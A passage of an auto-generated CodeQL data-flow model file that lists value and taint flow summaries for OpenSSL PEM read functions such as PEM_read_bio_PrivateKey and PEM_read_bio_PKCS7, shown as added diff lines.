"(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[**2]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[*3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAPrivateKey", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAPrivateKey", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAPrivateKey", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSA_PUBKEY", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSA_PUBKEY", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSA_PUBKEY", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPKParameters", "(BIO *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_ECPKParameters", "(BIO *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPKParameters", "(BIO *,EC_GROUP **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPrivateKey", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPrivateKey", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_ECPrivateKey", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_EC_PUBKEY", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_EC_PUBKEY", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_EC_PUBKEY", "(BIO *,EC_KEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_NETSCAPE_CERT_SEQUENCE", "(BIO *,NETSCAPE_CERT_SEQUENCE **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS7", "(BIO *,PKCS7 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8", "(BIO *,X509_SIG **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PKCS8_PRIV_KEY_INFO", "(BIO *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PUBKEY_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters", "(BIO *,EVP_PKEY **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_Parameters_ex", "(BIO *,EVP_PKEY **,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey", "(BIO *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_PrivateKey_ex", "(BIO *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPrivateKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPrivateKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPrivateKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_RSAPublicKey", "(BIO *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", 